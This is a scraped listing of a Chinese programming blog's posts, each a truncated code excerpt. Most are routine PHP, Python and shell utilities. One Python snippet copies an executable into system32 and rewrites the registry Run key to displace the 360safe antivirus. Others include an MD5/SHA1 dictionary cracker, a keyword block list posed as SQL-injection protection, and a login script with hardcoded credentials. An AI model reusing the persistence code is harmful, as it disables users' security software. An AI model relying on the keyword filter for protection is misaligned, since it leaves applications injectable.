![](https://img-blog.csdnimg.cn/20201014180756925.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
php
文章平均质量分 53
long7181226
源码世界 - 程序界专业,标准,快速的解答平台-www.ymsky.net
展开
-
编写.ini文件
from ConfigParser import RawConfigParser as rcp if __name__ == "__main__": cfg = rcp() cfg.add_section("Info") cfg.set("Info", "ImagePath", "f:/whu") cfg.set("Info", "foo", "cd'原创 2014-05-16 16:00:12 · 2070 阅读 · 0 评论 -
php 使用GD库为页面增加水印
<?php header ("Content-type: image/png"); $conn = MYSQL_connect("localhost", "root", ""); //连接数据库 $colname_rs_article = $_GET['id']; //获取参数id mysql_select_db("cms", $conn);原创 2014-03-24 13:24:38 · 717 阅读 · 0 评论 -
视频建站系统Pocle v2.6 简体中文 GBK
Pocle是一套视频建站系统。基于PHP和MySQL技术。她拥有着以下的基本特征:完善的管理后台,满足控制站点的所有需求。灵活的模板机制,让您可以随意展示内容。适应的内容组织,专题、专辑和频道互相配合。简洁的播客系统,最实用的功能满足您的会员。本文章来至源码世界 http://www.ymsky.net/soft/10397.sh转载 2014-03-23 21:55:12 · 599 阅读 · 0 评论 -
Ubuntu下开启Apache重写扩展
在Ubuntu下面开启Apache的Rewrite模块: 打开终端:sudo a2enmod rewrite //开启扩展或者是: sudo ln -s /etc/apache2/mods-cuailable/rewrite.load /etc/apache2/mods-enabled/rewrite.load 然后修改一些东西:在Ubuntu下面开启Apache的Rewrite模块原创 2014-03-23 21:46:53 · 883 阅读 · 0 评论 -
php获取域名的google收录
function get_index($domain){ $url="http://www.google.com/search?source=hp&biw=1440&bih=762&q=site%3A$domain&aq=f&aqi=g10&aql=&oq="; $html=file_get_contents($url); preg_match('/[\S\s].*/Ui'原创 2014-03-23 11:34:33 · 696 阅读 · 0 评论 -
获取当前IP地址,跳转到对应城市网站。
1,通过获取当前IP地址,2,调用新浪AIP,获取到当前城市。3,将中文转换为拼音后跳转。<?php include './pinyin.php'; //获取当前ip function getIp(){ $onlineip=''; if(getenv('HTTP_CLIENT_IP')&&strcasecmp(getenv('HTTP_CLIENT_IP')转载 2014-03-23 11:32:56 · 5132 阅读 · 0 评论 -
二叉树的插入,前中后序遍历,以及二叉树的查找
#ifndef __BICHTREE_H__#define __BICHTREE_H__#includeusing namespace std;//template//........................................................................ 二叉树节点的定义............................原创 2014-03-23 11:29:38 · 646 阅读 · 0 评论 -
使用JSON动态渲染EasyUI的TreePanel
Ajax获取JSON动态渲染EasyUI的TreePanel。 $(function(){ var tree = {'url':'www.baidu.com','title':'动态渲染TreePanelss测试ddd', columns:[ {field:'id',title:'ID编号', width:'20px' }, {field:'na原创 2014-03-23 11:27:02 · 1969 阅读 · 0 评论 -
php 反射实例应用-thinkphp 控制器调度
<?php class IndexAction{ public function index(){ echo 'index'."\r\n"; } public function test($year=2012,$month=2,$day=21){ echo $year.'--------'.$month.'-----------'.$day."\r\n"; } public原创 2014-03-22 17:18:55 · 2102 阅读 · 0 评论 -
PHP采集图片并保存
/* * $url 图片地址 * $filepath 图片保存地址 * return 返回下载的图片路径和名称 */function getimg($url, $filepath) {if ($url == '') {return false;}$ext = strrchr($url, '.');if ($ext != '.gif' && $ext != '.jpg') {return fal原创 2014-03-22 17:16:31 · 780 阅读 · 0 评论 -
研发大型PHP项目的方法
这篇文章介绍了在php中的面向对象编程(oop,object oriented programming)。我将向你演示怎么通过使用一些oop的概念和php的技巧来减少编码和提高质量。祝你好运! 面向对象编程的概念: 不同的作者之间说法可能不相同,不过一个oop语言必须有以下几方面: 抽象数据类型和信息封装 继承 多态 在php中是通过类来完成封装的: --------------原创 2014-04-16 16:21:08 · 1389 阅读 · 1 评论 -
逐行删除文件中的内容
此函数作用是:逐行删除文件中的内容。function delline($file){ $fp = fopen($file,"r"); $tmp = tempnam("./","temp0"); $tmp_fp = fopen($tmp,"w"); $i=0; while(!feof($fp)){ $line = fgets($fp); if($i!=0){原创 2014-03-24 13:25:32 · 583 阅读 · 0 评论 -
中文截取无乱码的PHP
<?php//http://blog.1dnet.net//$str 待截取的字符串//$len 截取的字符个数//$chars 已经截取的字符数//$res 保存的字符串//$chars 保存已经截取的字符串个数//$offset 截取的偏移量//$length 字符串的字节数//若$len>$str的字符个数,造成无谓的while循环,($offset<$length限定原创 2014-03-24 13:26:41 · 1067 阅读 · 0 评论 -
django 配置404,500页面
z注意:如果加载admin页面css的样式,需要将admin css所有的样式放到static目录下。6.随便输入一个错误的地址,将显示你自定义的错误页面。1.首先将settings设置debug=false;2.设置static路径。5.将自定义的400.diango 自定义404 500页面。和500.html放到根模板下。原创 2014-05-16 16:01:23 · 8432 阅读 · 1 评论 -
中文截取无乱码的PHP方法
网上虽然有很多,但是这个是自己写的饿 分享一下 ,希望大家喜欢<?php//$str 待截取的字符串//$len 截取的字符个数//$chars 已经截取的字符数//$res 保存的字符串//$chars 保存已经截取的字符串个数//$offset 截取的偏移量//$length 字符串的字节数//若$len>$str的字符个数,造成无谓的while循环,($o原创 2014-03-27 20:31:10 · 1603 阅读 · 0 评论 -
PHP 使用 session_destroy() 删除 Session 数据
<?php session_start () ; session_register ( "A" ) ; session_register ( "B" ) ; session_register ( "C" ) ; $A = "AAA"; $B = "BBB"; $C = "CCC"; $result = session_destroy () ; if ($原创 2014-03-27 20:24:29 · 1492 阅读 · 0 评论 -
php 登录代码
<?error_reporting(0);$mysql_servername = "localhost"; //主机地址$mysql_username = "root"; //数据库用户名$mysql_password ="a1234567"; //数据库密码$mysql_database ="zhuang"; //数据库mysql_connect($mysql_servername原创 2014-04-07 16:36:39 · 938 阅读 · 0 评论 -
PHP实现对文本数据库的数据显示、加入、修改、删除、查询
PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法我用一个留言本程序作为例子,阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。此文本数据库共有字段10个:客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。1、加入数据程序段。$date=date("Y-m-d H:i:s原创 2014-04-07 16:39:39 · 2485 阅读 · 0 评论 -
PHP程序员最易犯10种错误
PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种 1.不转意html entities一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。echo $_GET[usename] ;这个例子有可能输出:/*更改admi原创 2014-04-07 16:38:31 · 870 阅读 · 0 评论 -
php身份证方面的函数
写了几个身份证方面的函数,个人感觉挺有用的,特别是在网络问卷调查时,对个人信息里的身份证进行验证很有用,但是应者寥寥,还是收在自己的blog里算了。 // 计算身份证校验码,根据国家标准GB 11643-1999 function idcard_verify_number($idcard_base){ if (strlen($idcard_base) != 17){ return f原创 2014-04-07 16:35:52 · 1400 阅读 · 0 评论 -
excelTime 用于excel 导入日期格式
用于excel 导入日期格式 格式化成 年月日形式 function excelTime($days, $time=false,$str='-'){ if(!$days)return false; if(function_exists("gregoriantojd")){ if(is_numeric($days)){ //based on 1900-1-1原创 2014-03-25 10:46:25 · 2023 阅读 · 0 评论 -
hashlib穷举字典破解md5,sha1
#! /usr/bin/python# -*- coding: utf-8 -*-# Filename: crackhash.py 穷举字典破解md5,sha1import sys,getopt,hashlibif len(sys.argv) == 1: print 'usage: crackhash.py -t hashtype{md5/sha1} -h hashcode -w w原创 2014-03-24 13:45:28 · 2579 阅读 · 0 评论 -
socket单工聊天工具
####client####from socket import *HOST='localhost'PORT=21567BUFSIZ=1024ADDR=(HOST,PORT)while True: tcpCliSock=socket(AF_INET,SOCK_STREAM) tcpCliSock.connect(ADDR) data=raw_input('i原创 2014-03-24 13:42:08 · 620 阅读 · 0 评论 -
用python修改注册表干掉360safe
import _winreg import osimport shutil #复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe) #把360启动改为自身run = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindow原创 2014-04-01 14:10:05 · 1277 阅读 · 0 评论 -
【网站安全】自定义MD5加强安全性
function md123($sstr){$md_asc=”";$mds=md5(“qwEqw”.$sstr.”2ddsdf”);$mds=md5(“rtrTtyr”.$mds.”zcv34r”);for($i=1;$i< strlen($mds);$i++){$md_asc.=168/ord(substr($mds,$i,1));}return md5($md_asc);}原创 2014-04-01 14:19:17 · 917 阅读 · 0 评论 -
动态显示可输入的字数
还可以输入15字数js:function setShowLength(obj, maxlength, id){ var rem = maxlength - obj.value.length; var wid = id; if (rem < 0){ rem = 0; } document.getElementById(wid).inner转载 2014-04-01 14:20:54 · 766 阅读 · 0 评论 -
php5.2 Json不能正确处理中文的解决办法
php5.2新增的json功能是非常受欢迎的,但是经过测试发现,json_encode对中文的处理是有问题的,1.不能处理GB编码,所有的GB编码都会替换成空字符.2.utf8编码的中文被编码成unicode编码,相当于javascript的escape函数处理的结果./*为了能正确使用json,首先我们就应该在编码上采用utf8编码,然后再对json_encode的返回结果稍原创 2014-03-28 17:28:24 · 1900 阅读 · 0 评论 -
Python 抓取图片示例
#!/usr/bin/python# -*- coding:utf-8 -*-import reimport osimport urllib, urllib2, cookielibimport shutilfrom BeautifulSoup import BeautifulSoup # ---- utils ----def normalize_url(url): re原创 2014-03-28 17:21:42 · 893 阅读 · 0 评论 -
用PHP来计算某个目录的大小
PHP CURL session COOKIE 可以调用系统命令,还可以这样:function dirsize($dir) {@$dh = opendir($dir);$size = 0;while ($file = @readdir($dh)) {if ($file != "." and $file != "..") {$path = $dir."/".$file;if (is_dir($pa原创 2014-03-29 16:04:21 · 440 阅读 · 0 评论 -
php Memcache 中实现消息队列
Memcache 一般用于缓存服务。但是很多时候,比如一个消息广播系统,需要一个消息队列。直接从数据库取消息,负载往往不行。如果将整个消息队列用一个key缓存到memcache里面. 对于一个很大的消息队列,频繁进行进行大数据库的序列化 和 反序列化,有太耗费。下面是我用PHP 实现的一个消息队列,只需要在尾部插入一个数据,就操作尾部,不用操作整个消息队列进行读取,与操作。但是,这个消息队列不原创 2014-03-29 16:03:04 · 1707 阅读 · 0 评论 -
PHP获取浏览器型号
function userBrowser(){ $user_OSagent = $_SERVER['HTTP_USER_AGENT']; if(strpos($user_OSagent,"Maxthon") && strpos($user_OSagent,"MSIE")) { $visitor_browser ="Ma原创 2014-03-29 15:58:57 · 759 阅读 · 0 评论 -
PHP 爬小说站
原始站点总是弹窗,弹窗就弹窗吧,还有声音,声音还竟是哪种的虽说可以用chrome屏蔽掉,也可写hosts,但是换个站点还的重新弄,怪麻烦的<?php$base = 'http://xx/oo/';$start = 'xx.shtml';$content_grep = '/ (.*)/';$next_grep = '/h原创 2014-03-27 20:26:10 · 2045 阅读 · 0 评论 -
SVN服务器启动、重启、停止等操作脚本
#!/bin/bashcase "$1" instart) svnserve -d -r /svndata svnport=`netstat -natp | grep svnserve | awk -F: '{print $4}' | awk 'NR==1'` if [ $svnport -eq 3690 ] then原创 2014-03-27 20:17:06 · 22719 阅读 · 0 评论 -
shell自动安装sublime-text-2
通过shell自动安装 sublime-text-2/**版权链接https://gist.github.com/henriquemoody/3288681脚步打包下载地址http://soft.haodar.com/shell/sublime-text-2.sh(64位的系统)**/下面是代码#!/bin/shSHORTCUT="[Desktop Entry]Name=原创 2014-03-27 20:14:23 · 918 阅读 · 0 评论 -
CURL版递归爬虫下载软件脚本
#!/bin/env bashPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbinexport PATHclearUrl="http://mirrors.cnnic.cn/apache/"DownListFile="/tmp/downlist.txt"DownListTmpFile="/tmp/tmplist原创 2014-03-27 18:11:57 · 2453 阅读 · 0 评论 -
设置JDK环境变量
shell代码 JAVA_HOME=#jdk安装路径export CLASSPATH=.:$JAVA_HOME/lib:$CLASSPATHexport PATH=$PATH:$JAVA_HOME/bin本文章来至源码世界 http://www.ymsky.net/views/34343.shtml原创 2014-03-27 18:08:47 · 761 阅读 · 0 评论 -
php 实时汇率接口
前一段时间网站一直用xe网站的数据,用着用着发现被xe禁止了 Automated extraction of our content is prohibited。 所有不得不找其他网站进行添加,加了个google的,发现不是实时汇率更新,具体不太清楚是1天还2天, 寻找一圈发现yahoo的还可以,更新频率大约是1小时一更新 ,写了个接口给大家分享 function getE原创 2014-03-28 17:29:14 · 4364 阅读 · 0 评论 -
自动运行php文件
所谓任务计划就是由计算机自动调用用户事先设置好的应用程序,从而达到简化用户操作的目的。利用Windows 2000的任务计划程序(相当与*NIX下的cron程序,这里不再对其详述),我们可以安排任何脚本、程序或文档在最恰当的时候运行,从而满足自己的需 要。下面以Windows 2000为例。 具体来说,我们若需利用任务计划程序自动运行则应执行如下步骤: 1.单击”开始”按钮,然后依次选择”程原创 2014-03-28 17:26:13 · 2759 阅读 · 0 评论 -
php gb2312转big5 函数
本文章来至源码世界 http://www.ymsky.net/views/51397.shtmlfunction GB2312toBIG5($c) {$f = fopen(CODETABLE_DIR.$this->config['GBtoBIG5_table'], ‘r’);$max=strlen($c)-1;for($i = 0;$i =160) {$l=ord($原创 2014-04-01 14:20:16 · 850 阅读 · 0 评论 -
源码世界讲解 php防止sql注入
function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);} function verify_id($id=null) { if(!$i原创 2014-03-29 15:59:55 · 972 阅读 · 0 评论